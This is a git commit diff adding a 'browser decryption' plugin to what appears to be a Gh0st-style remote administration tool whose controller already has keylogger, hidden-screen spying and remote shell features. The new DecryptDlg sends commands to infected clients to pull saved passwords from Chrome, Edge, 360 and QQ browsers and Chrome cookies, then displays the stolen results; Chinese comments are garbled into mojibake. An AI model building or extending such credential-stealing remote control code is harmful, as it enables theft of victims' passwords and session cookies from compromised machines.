Plugin: Add browser decryption feature

This commit is contained in:
yuanyuanxiang
2025-06-09 14:25:37 +08:00
parent 70d5382fda
commit a6d2e5551d
10 changed files with 193 additions and 0 deletions

View File

@@ -220,8 +220,12 @@ enum
SOCKET_DLLLOADER=210, // <20>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DLL SOCKET_DLLLOADER=210, // <20>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DLL
CMD_DLLDATA, // <20><>ӦDLL<4C><4C><EFBFBD><EFBFBD> CMD_DLLDATA, // <20><>ӦDLL<4C><4C><EFBFBD><EFBFBD>
CMD_RUNASADMIN=214, // ADMIN <20><><EFBFBD><EFBFBD>
CMD_MASTERSETTING = 215, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> CMD_MASTERSETTING = 215, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
CMD_HEARTBEAT_ACK = 216, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӧ CMD_HEARTBEAT_ACK = 216, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӧ
CMD_SERVER_ADDR = 229, // <20><><EFBFBD>ص<EFBFBD>ַ
TOKEN_ERROR = 230, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾ
TOKEN_SHELL_DATA = 231, // <20>ն˽<D5B6><CBBD><EFBFBD>
CMD_EXECUTE_DLL = 240, // ִ<>д<EFBFBD><D0B4><EFBFBD> CMD_EXECUTE_DLL = 240, // ִ<>д<EFBFBD><D0B4><EFBFBD>
}; };

Binary file not shown.

View File

@@ -34,6 +34,7 @@
#include "HideScreenSpyDlg.h" #include "HideScreenSpyDlg.h"
#include <sys/MachineDlg.h> #include <sys/MachineDlg.h>
#include "Chat.h" #include "Chat.h"
#include "DecryptDlg.h"
#ifdef _DEBUG #ifdef _DEBUG
#define new DEBUG_NEW #define new DEBUG_NEW
@@ -356,6 +357,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_MESSAGE(WM_OPENHIDESCREENDLG, OnOpenHideScreenDialog) ON_MESSAGE(WM_OPENHIDESCREENDLG, OnOpenHideScreenDialog)
ON_MESSAGE(WM_OPENMACHINEMGRDLG, OnOpenMachineManagerDialog) ON_MESSAGE(WM_OPENMACHINEMGRDLG, OnOpenMachineManagerDialog)
ON_MESSAGE(WM_OPENCHATDIALOG, OnOpenChatDialog) ON_MESSAGE(WM_OPENCHATDIALOG, OnOpenChatDialog)
ON_MESSAGE(WM_OPENDECRYPTDIALOG, OnOpenDecryptDialog)
ON_MESSAGE(WM_UPXTASKRESULT, UPXProcResult) ON_MESSAGE(WM_UPXTASKRESULT, UPXProcResult)
ON_WM_HELPINFO() ON_WM_HELPINFO()
ON_COMMAND(ID_ONLINE_SHARE, &CMy2015RemoteDlg::OnOnlineShare) ON_COMMAND(ID_ONLINE_SHARE, &CMy2015RemoteDlg::OnOnlineShare)
@@ -1574,6 +1576,11 @@ VOID CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject)
Dlg->OnReceiveComplete(); Dlg->OnReceiveComplete();
break; break;
} }
case DECRYPT_DLG: {
DecryptDlg* Dlg = (DecryptDlg*)ContextObject->hDlg;
Dlg->OnReceiveComplete();
break;
}
default: { default: {
HANDLE hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); HANDLE hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
if (hEvent == NULL) { if (hEvent == NULL) {
@@ -1676,6 +1683,10 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
g_2015RemoteDlg->SendMessage(WM_OPENCHATDIALOG, 0, (LPARAM)ContextObject); g_2015RemoteDlg->SendMessage(WM_OPENCHATDIALOG, 0, (LPARAM)ContextObject);
break; break;
} }
case TOKEN_DECRYPT: { // 解密数据
g_2015RemoteDlg->SendMessage(WM_OPENDECRYPTDIALOG, 0, (LPARAM)ContextObject);
break;
}
case TOKEN_KEYBOARD_START: {// 键盘记录 case TOKEN_KEYBOARD_START: {// 键盘记录
g_2015RemoteDlg->SendMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)ContextObject); g_2015RemoteDlg->SendMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)ContextObject);
break; break;
@@ -1905,6 +1916,12 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
delete Dlg; delete Dlg;
break; break;
} }
case DECRYPT_DLG:
{
DecryptDlg* Dlg = (DecryptDlg*)p->hDlg;
delete Dlg;
break;
}
default:break; default:break;
} }
delete p; delete p;
@@ -2214,6 +2231,21 @@ LRESULT CMy2015RemoteDlg::OnOpenChatDialog(WPARAM wParam, LPARAM lParam)
return 0; return 0;
} }
LRESULT CMy2015RemoteDlg::OnOpenDecryptDialog(WPARAM wParam, LPARAM lParam)
{
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam;
DecryptDlg* Dlg = new DecryptDlg(this, m_iocpServer, ContextObject);
Dlg->Create(IDD_DIALOG_DECRYPT, GetDesktopWindow());
Dlg->ShowWindow(SW_SHOW);
ContextObject->v1 = DECRYPT_DLG;
ContextObject->hDlg = Dlg;
return 0;
}
BOOL CMy2015RemoteDlg::OnHelpInfo(HELPINFO* pHelpInfo) BOOL CMy2015RemoteDlg::OnHelpInfo(HELPINFO* pHelpInfo)
{ {
MessageBox("Copyleft (c) FTU 2025", "关于"); MessageBox("Copyleft (c) FTU 2025", "关于");

View File

@@ -226,6 +226,7 @@ public:
afx_msg LRESULT OnOpenMachineManagerDialog(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnOpenMachineManagerDialog(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnOpenProxyDialog(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnOpenProxyDialog(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnOpenChatDialog(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnOpenChatDialog(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnOpenDecryptDialog(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT UPXProcResult(WPARAM wParam, LPARAM lParam); afx_msg LRESULT UPXProcResult(WPARAM wParam, LPARAM lParam);
afx_msg BOOL OnHelpInfo(HELPINFO* pHelpInfo); afx_msg BOOL OnHelpInfo(HELPINFO* pHelpInfo);
virtual BOOL PreTranslateMessage(MSG* pMsg); virtual BOOL PreTranslateMessage(MSG* pMsg);

View File

@@ -260,6 +260,7 @@
<ClInclude Include="CpuUseage.h" /> <ClInclude Include="CpuUseage.h" />
<ClInclude Include="CTextDlg.h" /> <ClInclude Include="CTextDlg.h" />
<ClInclude Include="DateVerify.h" /> <ClInclude Include="DateVerify.h" />
<ClInclude Include="DecryptDlg.h" />
<ClInclude Include="EditDialog.h" /> <ClInclude Include="EditDialog.h" />
<ClInclude Include="FileManagerDlg.h" /> <ClInclude Include="FileManagerDlg.h" />
<ClInclude Include="FileTransferModeDlg.h" /> <ClInclude Include="FileTransferModeDlg.h" />
@@ -312,6 +313,7 @@
<ClCompile Include="CPasswordDlg.cpp" /> <ClCompile Include="CPasswordDlg.cpp" />
<ClCompile Include="CpuUseage.cpp" /> <ClCompile Include="CpuUseage.cpp" />
<ClCompile Include="CTextDlg.cpp" /> <ClCompile Include="CTextDlg.cpp" />
<ClCompile Include="DecryptDlg.cpp" />
<ClCompile Include="EditDialog.cpp" /> <ClCompile Include="EditDialog.cpp" />
<ClCompile Include="FileManagerDlg.cpp" /> <ClCompile Include="FileManagerDlg.cpp" />
<ClCompile Include="FileTransferModeDlg.cpp" /> <ClCompile Include="FileTransferModeDlg.cpp" />
@@ -368,6 +370,7 @@
<Image Include="res\Bitmap_4.bmp" /> <Image Include="res\Bitmap_4.bmp" />
<Image Include="res\Bitmap_5.bmp" /> <Image Include="res\Bitmap_5.bmp" />
<Image Include="res\chat.ico" /> <Image Include="res\chat.ico" />
<Image Include="res\decrypt.ico" />
<Image Include="res\delete.bmp" /> <Image Include="res\delete.bmp" />
<Image Include="res\icon2.ico" /> <Image Include="res\icon2.ico" />
<Image Include="res\keyboard.ico" /> <Image Include="res\keyboard.ico" />

View File

@@ -0,0 +1,117 @@
#include "stdafx.h"
#include "DecryptDlg.h"
IMPLEMENT_DYNAMIC(DecryptDlg, CDialog)
DecryptDlg::DecryptDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT* ContextObject)
: CDialogBase(DecryptDlg::IDD, pParent, IOCPServer, ContextObject, IDI_ICON_DECRYPT) {
}
DecryptDlg::~DecryptDlg() {
}
void DecryptDlg::DoDataExchange(CDataExchange* pDX) {
CDialog::DoDataExchange(pDX);
DDX_Control(pDX, IDC_DECRYPT_RESULT, m_EditDecrypedResult);
}
BEGIN_MESSAGE_MAP(DecryptDlg, CDialog)
ON_WM_CLOSE()
ON_WM_SIZE()
ON_COMMAND(ID_DECRYPT_CHROME, &DecryptDlg::OnDecryptChrome)
ON_COMMAND(ID_DECRYPT_EDGE, &DecryptDlg::OnDecryptEdge)
ON_COMMAND(ID_DECRYPT_SPEED360, &DecryptDlg::OnDecryptSpeed360)
ON_COMMAND(ID_DECRYPT_360, &DecryptDlg::OnDecrypt360)
ON_COMMAND(ID_DECRYPT_QQ, &DecryptDlg::OnDecryptQQ)
ON_COMMAND(ID_DECRYPT_CHROMECOOKIES, &DecryptDlg::OnDecryptChromeCookies)
END_MESSAGE_MAP()
// DecryptDlg <20><>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
BOOL DecryptDlg::OnInitDialog() {
CDialog::OnInitDialog();
SetIcon(m_hIcon, FALSE);
CString str;
str.Format("%s - <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", m_IPAddress);
SetWindowText(str);
BYTE bToken = COMMAND_NEXT;
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
m_EditDecrypedResult.SetWindowTextA(CString("<<< <20><>ʾ: <20><><EFBFBD>ڲ˵<DAB2>ѡ<EFBFBD><D1A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> >>>\r\n"));
int m_nCurSel = m_EditDecrypedResult.GetWindowTextLengthA();
m_EditDecrypedResult.SetSel((int)m_nCurSel, (int)m_nCurSel);
m_EditDecrypedResult.PostMessage(EM_SETSEL, m_nCurSel, m_nCurSel);
return TRUE;
}
VOID DecryptDlg::OnReceiveComplete() {
if (m_ContextObject == NULL) {
return;
}
auto result = m_ContextObject->GetBuffer(1);
m_EditDecrypedResult.SetWindowTextA(CString(result));
}
void DecryptDlg::OnClose() {
m_ContextObject->CancelIO();
CDialogBase::OnClose();
}
void DecryptDlg::OnSize(UINT nType, int cx, int cy)
{
CDialogBase::OnSize(nType, cx, cy);
if (m_EditDecrypedResult.GetSafeHwnd())
{
m_EditDecrypedResult.MoveWindow(0, 0, cx, cy); // ռ<><D5BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ի<EFBFBD><D4BB><EFBFBD>
}
}
void DecryptDlg::OnDecryptChrome()
{
BYTE bToken[32] = { COMMAND_LLQ_GetChromePassWord };
m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
}
void DecryptDlg::OnDecryptEdge()
{
BYTE bToken[32] = { COMMAND_LLQ_GetEdgePassWord };
m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
}
void DecryptDlg::OnDecryptSpeed360()
{
BYTE bToken[32] = { COMMAND_LLQ_GetSpeed360PassWord };
m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
}
void DecryptDlg::OnDecrypt360()
{
BYTE bToken[32] = { COMMAND_LLQ_Get360sePassWord };
m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
}
void DecryptDlg::OnDecryptQQ()
{
BYTE bToken[32] = { COMMAND_LLQ_GetQQBroPassWord };
m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
}
void DecryptDlg::OnDecryptChromeCookies()
{
BYTE bToken[32] = { COMMAND_LLQ_GetChromeCookies };
m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
}

View File

@@ -0,0 +1,34 @@
#pragma once
#include "IOCPServer.h"
#include "Resource.h"
class DecryptDlg : public CDialogBase
{
DECLARE_DYNAMIC(DecryptDlg)
public:
DecryptDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT* ContextObject = NULL);
virtual ~DecryptDlg();
VOID OnReceiveComplete();
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
enum { IDD = IDD_DIALOG_DECRYPT };
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧<><D6A7>
DECLARE_MESSAGE_MAP()
public:
virtual BOOL OnInitDialog();
afx_msg void OnClose();
afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg void OnDecryptChrome();
afx_msg void OnDecryptEdge();
afx_msg void OnDecryptSpeed360();
afx_msg void OnDecrypt360();
afx_msg void OnDecryptQQ();
afx_msg void OnDecryptChromeCookies();
CEdit m_EditDecrypedResult;
};

Binary file not shown.

After

Width:  |  Height:  |  Size: 766 B

Binary file not shown.

View File

@@ -81,6 +81,7 @@
#define WM_OPENHIDESCREENDLG WM_USER+3015 #define WM_OPENHIDESCREENDLG WM_USER+3015
#define WM_OPENMACHINEMGRDLG WM_USER+3016 #define WM_OPENMACHINEMGRDLG WM_USER+3016
#define WM_OPENCHATDIALOG WM_USER+3017 #define WM_OPENCHATDIALOG WM_USER+3017
#define WM_OPENDECRYPTDIALOG WM_USER+3018
enum enum
{ {
@@ -99,6 +100,7 @@ enum
HIDESCREEN_DLG, HIDESCREEN_DLG,
MACHINE_DLG, MACHINE_DLG,
CHAT_DLG, CHAT_DLG,
DECRYPT_DLG,
}; };